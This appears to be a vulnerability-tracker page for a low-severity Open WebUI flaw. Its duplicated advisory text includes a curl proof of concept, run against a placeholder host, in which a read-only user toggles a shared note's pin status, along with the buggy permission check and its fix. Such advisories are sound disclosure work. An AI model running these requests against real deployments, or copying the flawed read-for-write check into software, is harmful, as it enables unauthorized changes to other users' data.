CVE-2026-45316

lowpriority · track · 10OT risk · elevatedEPSS 0.002 · 14 %ileexploit · PoCEURUUS
grimoire priorityP1 · Urgent
Exploitable?
Public exploit
1 exploit · PoC
Likely / severe?
0.24% (14th) EPSS
CVSS 3.5 · low
Is it mine?
4 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · fstec_bdu · osv

EPSS · scored 2026-10-27

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. This vulnerability is fixed in 0.9.3.

01

cvss

Technical severity, 0–10. One row per scoring source.

3.5
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.13.5lowAV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:Nsecondary · FSTEC (BDU) RU
v3.13.5lowCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:Nsecondary · ENISA EU
v3.13.5lowCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:Nsecondary · security-advisories@github.comexploitability 2.1 · impact 1.4
v3.13.5lowCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:Nsecondary · OSV
v3.13.3lowCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N/E:Psecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

exploits (1)

Public proof-of-concept and weaponised exploit code.

05

affected products (4)

Products and version ranges known to be affected.

06

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-jx2x-j75f-xq3jOpen WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)2026-05-14ghsa · osvUS

    ### Summary The `POST /api/v1/notes/{id}/pin` endpoint performs a write operation (toggling the `is_pinned` field) but only checks for `read` permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require `write` permission. All other write endpoints (update, delete, access/update) correctly check for `write` permission. ### Details **Affected code: `backend/open_webui/routers/notes.py` lines 412-444** ```python @router.post('/{id}/pin', response_model=Optional[NoteModel]) async def pin_note_by_id(...): # ... if user.role != 'admin' and ( user.id != note.user_id and not await AccessGrants.has_access( user_id=user.id, resource_type='note', resource_id=note.id, permission='read', # BUG: should be 'write' db=db, ) ): raise HTTPException(...) note = await Notes.toggle_note_pinned_by_id(id, db=db) # write operation ``` **Compare with update endpoint (correct, line 318-327):** ```python async def update_note_by_id(...): # ... and not await AccessGrants.has_access( permission='write', # correctly checks 'write' ) ``` ### PoC **Environment:** Open WebUI v0.9.2, default configuration with notes sharing enabled. **Setup:** 1. UserA creates a note 2. UserA shares note with UserB with `read` permission via `POST /api/v1/notes/{id}/access/update` with `{"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}` **Test:** ```bash # Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false curl -s http://TARGET/api/v1/notes/$NOTE_ID \ -H "Authorization: Bearer $TOKEN_B" # Result: 200 OK, "write_access": false # Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked) curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \ -H "Authorization: Bearer $TOKEN_B" \ -H "Content-Type: application/json" \ -d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}' # Result: 403 Forbidden # Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!) curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \ -H "Authorization: Bearer $TOKEN_B" # Result: 200 OK, "is_pinned": true # Step 4: UserB can toggle pin repeatedly curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \ -H "Authorization: Bearer $TOKEN_B" # Result: 200 OK, "is_pinned": false (toggled back) ``` **E2E Verified Result:** - Step 1: UserB reads note (READ) -> 200 OK ✓ - Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked) - Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG) - Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write) ### Impact - A user with only `read` access to a shared note can toggle its `is_pinned` status - This modifies the note's state without write authorization - The pin status change is visible to the note owner and all other users with access - Privilege escalation from read to write on the pin operation **Limitations:** Only affects the `is_pinned` boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing. ### Fix One-line fix — change `permission='read'` to `permission='write'` in `pin_note_by_id`: ```python # backend/open_webui/routers/notes.py, line 437 - permission='read', + permission='write', ``` This makes the pin endpoint consistent with update and delete endpoints.

  • PYSEC-2026-2745Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)2026-07-13vendor · osvUS

    ### Summary The `POST /api/v1/notes/{id}/pin` endpoint performs a write operation (toggling the `is_pinned` field) but only checks for `read` permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require `write` permission. All other write endpoints (update, delete, access/update) correctly check for `write` permission. ### Details **Affected code: `backend/open_webui/routers/notes.py` lines 412-444** ```python @router.post('/{id}/pin', response_model=Optional[NoteModel]) async def pin_note_by_id(...): # ... if user.role != 'admin' and ( user.id != note.user_id and not await AccessGrants.has_access( user_id=user.id, resource_type='note', resource_id=note.id, permission='read', # BUG: should be 'write' db=db, ) ): raise HTTPException(...) note = await Notes.toggle_note_pinned_by_id(id, db=db) # write operation ``` **Compare with update endpoint (correct, line 318-327):** ```python async def update_note_by_id(...): # ... and not await AccessGrants.has_access( permission='write', # correctly checks 'write' ) ``` ### PoC **Environment:** Open WebUI v0.9.2, default configuration with notes sharing enabled. **Setup:** 1. UserA creates a note 2. UserA shares note with UserB with `read` permission via `POST /api/v1/notes/{id}/access/update` with `{"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}` **Test:** ```bash # Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false curl -s http://TARGET/api/v1/notes/$NOTE_ID \ -H "Authorization: Bearer $TOKEN_B" # Result: 200 OK, "write_access": false # Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked) curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \ -H "Authorization: Bearer $TOKEN_B" \ -H "Content-Type: application/json" \ -d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}' # Result: 403 Forbidden # Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!) curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \ -H "Authorization: Bearer $TOKEN_B" # Result: 200 OK, "is_pinned": true # Step 4: UserB can toggle pin repeatedly curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \ -H "Authorization: Bearer $TOKEN_B" # Result: 200 OK, "is_pinned": false (toggled back) ``` **E2E Verified Result:** - Step 1: UserB reads note (READ) -> 200 OK ✓ - Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked) - Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG) - Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write) ### Impact - A user with only `read` access to a shared note can toggle its `is_pinned` status - This modifies the note's state without write authorization - The pin status change is visible to the note owner and all other users with access - Privilege escalation from read to write on the pin operation **Limitations:** Only affects the `is_pinned` boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing. ### Fix One-line fix — change `permission='read'` to `permission='write'` in `pin_note_by_id`: ```python # backend/open_webui/routers/notes.py, line 437 - permission='read', + permission='write', ``` This makes the pin endpoint consistent with update and delete endpoints.

07

also known as (7)

Other names and identifiers for this entity.

08

sources

Which sources assert this record, and when.

published 2026-05-15modified 2026-06-17
09

references (5)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan